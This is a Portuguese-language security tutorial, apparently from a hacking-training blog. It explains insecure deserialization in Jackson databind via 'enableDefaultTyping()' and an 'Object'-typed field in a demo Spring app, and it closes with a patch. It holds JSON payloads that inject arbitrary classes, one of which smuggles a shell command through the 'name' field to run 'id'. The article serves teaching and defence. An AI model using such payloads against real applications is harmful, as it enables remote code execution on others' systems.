Explorando desserialização insegura no Jackson databind
![Explorando desserialização insegura no Jackson databind](/content/images/size/w2000/2024/06/How-to-exploit-deserialization-in-the-Jackson-Databind.png)
Nesse artigo veremos sobre serialização e desserialização e como exploramos desserialização insegura no Jackson databind.
O que é Jackson databind?
O Jackson databind é uma biblioteca desenvolvida para aplicações Java, e muito utilizada em frameworks para desenvolvimento web, como o spring boot.
Essa biblioteca é responsável pela serialização e desserialização de dados no formato JSON. Com ela é possível transformarmos um JSON em um objeto do nosso código, e vice-versa (transformar um objeto em JSON).
Serialização com Jackson databind
Veja na imagem abaixo um código Java exemplificando como serializamos um Objeto do nosso código em um JSON utilizando o Jackson databind:
![](https://blog.crowsec.com.br/content/images/2024/02/01-create-json-string.png)
Esse treicho de código resulta em um JSON com as propriedades do objeto User:
![](https://blog.crowsec.com.br/content/images/2024/02/02-create-json-string-output.png)
Caso não esteja claro, a serialização é a nomeclatura que damos ao processo de transformar um objeto (dado binário) em uma string (dado ascii).
Código completo da rota:
![](https://blog.crowsec.com.br/content/images/2024/02/03-create-json-string-full-code-1.png)
Desserialização com Jackson databind
Veja na imagem abaixo um código Java exemplificando como desserializamos um JSON e transformamos o mesmo em um Objeto do nosso código utilizando o Jackson databind:
![](https://blog.crowsec.com.br/content/images/2024/02/04-decode-json-string-1.png)
Esse treicho de código retorna o valor da propriedade "name" do Objeto "User":
![](https://blog.crowsec.com.br/content/images/2024/02/05-decode-json-string-output.png)
Código completo da rota:
![](https://blog.crowsec.com.br/content/images/2024/02/06-decode-json-string-full-code.png)
Detalhe importante: Na imagem abaixo, contém o código responsável pela declaração da variável "this.objectMapper":
![](https://blog.crowsec.com.br/content/images/2024/02/07-define-object-mapper.png)
A brecha do Jackson databind
No Jackson databind, existe uma função chamada "enableDefaultTyping", essa função coloca "tipagem" no JSON serializado/desserializado.
A imagem abaixo mostra um treicho de código que utiliza essa função na instância do "ObjectMapper":
![](https://blog.crowsec.com.br/content/images/2024/02/08-enable-default-typing.png)
Com essa opção habilitada, vemos que o nome do objeto é incluido em alguns JSONs. Exemplo na imagem abaixo:
![](https://blog.crowsec.com.br/content/images/2024/02/09-json-with-enabledefaulttyping.png)
![](https://blog.crowsec.com.br/content/images/2024/02/10-json-with-enableddefaulttyping-code.png)
Da mesma maneira que o objeto serializado tem tipagem, também podemos colocar tipagem JSON, assim quando a aplicação for fazer a desserialização do mesmo, ela vai seguir a tipagem especificada no mesmo. Com isso, temos a possibilidade de controlar propriedades, getters e setters de outros objetos da aplicação.
Conhecendo as classes do código
Na imagem abaixo, vemos uma classe que é responsável pelo carrinho de compras do usuário:
![](https://blog.crowsec.com.br/content/images/2024/02/11-cart-model.png)
A propriedade "itens", recebe um array de strings, e a propriedade "user" recebe um Objeto (pelo fato de estar tipado como "Object", podemos especificar qualquer objeto da aplicação nessa propriedade).
Na imagem abaixo, vemos outra classe que é responsável pelo sistema de Logs da aplicação:
![](https://blog.crowsec.com.br/content/images/2024/02/12-log-model.png)
A propriedade "name" e "path" recebe uma string, porém o Setter configurado para a propriedade "path", seta o seu valor como "o setter foi chamado".
Nosso objetivo é: Controlar propriedades da classe "Log" através da desserialização do objeto "Cart".
Explorando desserialização insegura no Jackson databind
Vemos que o código da imagem abaixo recebe um JSON do Request Body, e faz a desserialização do mesmo:
![](https://blog.crowsec.com.br/content/images/2024/02/13-post-mapping-root-code.png)
Na linha onde ocorre a desserialização, o objeto "Cart" foi especificado como tipagem para o JSON, ou seja, precisamos enviar um JSON correspondente ao objeto "Cart".
Enviando JSON (objeto "Cart" serializado):
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.User",
{
"name": "John Doe",
"password": "password123"
}
]
}
![](https://blog.crowsec.com.br/content/images/2024/02/14-send-cart-json-1.png)
Na propriedade "user", foi necessário especificar o path da classe "User", pois como visto anteriormente, a propriedade foi tipada como "Object", assim o código não consegue identificar qual objeto foi especificado na mesma, sendo assim, necessário especificar o path do objeto dentro do JSON (Isso só é possível pelo fato de que o enableDefaultTyping() foi utilizado).
Com o poder de especificarmos o tipo do objeto na propriedade "user", podemos especificar o objeto "Log", assim sendo possível manipular o valor de suas propriedades e acessar os getters e setters da mesma:
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.Log",
{
"name": "nome do log",
"path": "/tmp/example.log"
}
]
}
![](https://blog.crowsec.com.br/content/images/2024/02/15-send-cart-json-to-call-log-object-1.png)
Vemos que o setter da propriedade "path" foi chamado.
Com o poder de acessarmos getters e setters de objetos arbitrários do código, temos a possibilidade de obtermos File Read, File Write ou até mesmo um RCE.
Veja na imagem abaixo um código que poderiamos explorar para obtermos RCE:
![](https://blog.crowsec.com.br/content/images/2024/02/16-setter-for-path-propertie-rce.png)
Vemos que o setter da propriedade "path" executa um comando no sistema e concatena o valor inserido na mesma dentro do comando executado. Com isso, podemos explorar um command injection através da desserialização.
Enviando um JSON que chama o objeto "Log" na propriedade "user", conseguimos criar um arquivo de log em nosso sistema manipulando as propriedades "name" e "path":
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.Log",
{
"name": "example.log",
"path": "/tmp"
}
]
}
![](https://blog.crowsec.com.br/content/images/2024/02/17-send-malicious-json-to-create-log-file-1.png)
Listando o diretório "/tmp", vemos que o arquivo realmente foi criado:
![](https://blog.crowsec.com.br/content/images/2024/02/18-list-tmp-log.png)
Porém, como dito anteriormente, podemos obter um RCE explorando um command injection através da desserialização. Para isso, podemos utilizar o ";" na propriedade "path" ou na propriedade "name":
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.Log",
{
"name": "example.log; id > /tmp/example.log",
"path": "/tmp"
}
]
}
![](https://blog.crowsec.com.br/content/images/2024/02/19-send-malicious-json-to-exploit-cmdi-1.png)
Listando e lendo o arquivo "/tmp/example.log", conseguimos obter o output do comando "id":
![](https://blog.crowsec.com.br/content/images/2024/02/20-get-id-ouptut.png)
Corrigindo a desserialização insegura no Jackson databind
Nunca devemos utilizar a função "enableDefaultTyping()", pois ela permite com que o usuário controle a tipagem de objetos setados nas propriedades do JSON, e isso pode permitir com que ele acesse outros objetos do código, como vimos anteriormente.
Uma outra recomendação é sempre utilizarmos a tipagem correta para as propriedades das classes definidas no código. Como vimos anteriormente, a propriedade "user" da classe "Cart", foi tipada como "Object", ou seja, podemos especificar qualquer objeto da aplicação na mesma. Se tiparmos a propriedade com o objeto "User", não conseguimos mais manipular o seu tipo no JSON, mesmo que o "enableDefaultTyping()" esteja sendo utilizado.
A imagem abaixo mostra como ficaria o código com o patch aplicado:
![](https://blog.crowsec.com.br/content/images/2024/02/21-cart-class-with-patch.png)
Após o patch, se tentarmos especificar um tipo na propriedade "user", recebemos uma mensagem de erro:
![](https://blog.crowsec.com.br/content/images/2024/02/22-json-parse-error-after-patch.png)
Espero que tenham gostado! Nos vemos na próxima missão de web exploitation!
SmF2YSBpbnNlY3VyZSBkZXNzZXJpYWxpemF0aW9uIGlzIHRoZSBuZXh0IG1pc3Npb24u
Referências
![](https://res.cloudinary.com/snyk/image/upload/v1613516817/wordpress-sync/Blog-Feature-Java-deserialize.png)
Onde praticar desserialização insegura ?
Atualmente o hackingclub possuí diversos CTFs em que podem ser explorados desserialização insegura, em diversos contextos e linguagens diferentes.
O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.
Temos mais de 150 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.
Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!